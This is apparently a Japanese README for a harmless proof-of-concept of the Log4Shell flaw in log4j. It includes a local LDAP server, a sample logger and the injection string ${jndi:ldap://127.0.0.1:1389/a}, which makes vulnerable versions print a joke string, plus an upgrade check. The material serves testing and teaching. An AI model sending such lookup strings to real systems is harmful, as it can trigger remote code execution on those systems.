
これは、脆弱性 CVE-2021-44228 を確認するためのリポジトリです。
これは、外部クラスローディングを行わずに文字列を表示するだけのPoCです。任意のコード実行には使用できません。
イメージ ghcr.io/greymd/cve-2021-44228/server が利用可能で、Docker上で実行できます。
$ docker run -p 1389:1389 -t ghcr.io/greymd/cve-2021-44228/server
log4j を使用してログを出力するコードを用意し、同じホスト上で実行します。
出力文字列を ${jndi:ldap://127.0.0.1:1389/a} とします。
package logger;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class App {
private static final Logger logger = LogManager.getLogger(App.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://127.0.0.1:1389/a}");
}
}
引数が脆弱性を引き起こすものである場合、フレーズ「うんこもりもり」(「たくさんのうんち」のような意味)が正常にログ出力されます。
17:52:24.871 [main] ERROR logger.App -
"mm
mmmm "m "mmmmm
"" # m" "
# m#m m
# m" # m "m m
m" m" "mm" """""
m m m m m m
mm# # # "m mm# # # "m
m"#" ## # m"#" ## #
""#mm "m # # ""#mm "m # #
# # # # # #
"mm" m" "mm" m"
コードを書いたりビルドしたりするのが面倒な場合は、このリポジトリにあるシンプルなロガーアプリケーションを使用できます。 最初の引数が Logger によって出力されます。
$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/logger
$ ./gradlew run --args='Hello'
︙
> Task :run
22:10:02.307 [main] ERROR logger.App - Hello
脆弱性を引き起こす引数を与える例は以下の通りです。
$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'
︙
> Task :run
22:10:34.757 [main] ERROR logger.App -
"mm
mmmm "m "mmmmm
"" # m" "
# m#m m
# m" # m "m m
m" m" "mm" """""
m m m m m m
mm# # # "m mm# # # "m
m"#" ## # m"#" ## #
""#mm "m # # ""#mm "m # #
# # # # # #
"mm" m" "mm" m"
脆弱性の影響を受けないバージョンの log4j を使用している場合、またはサーバーアプリケーションが実行されていない場合、文字列はそのまま変更されずに出力されます。これは、以下のようにロガーアプリケーションのバージョンを更新することで確認できます。
$ sed -i.bak s/2.14.1/2.15.0/ build.gradle
$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'
> Task :run
22:12:50.913 [main] ERROR logger.App - ${jndi:ldap://127.0.0.1:1389/a}
$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/server
$ ./gradlew run
︙
Listening ...
前述の通り(また、私が調査した限りでは)、この脆弱性は JNDI の宛先サーバーが稼働していなければ再現されません。したがって、シンプルな PoC が役立ちます。
実装において以下のURLを参考にしました。
OpenJDK Runtime Environment (build 1.8.0_302-b08)OpenJDK Runtime Environment Corretto-11.0.12.7.1 (build 11.0.12+7-LTS)OpenJDK Runtime Environment Zulu17.30+15-CA (build 17.0.1+12-LTS)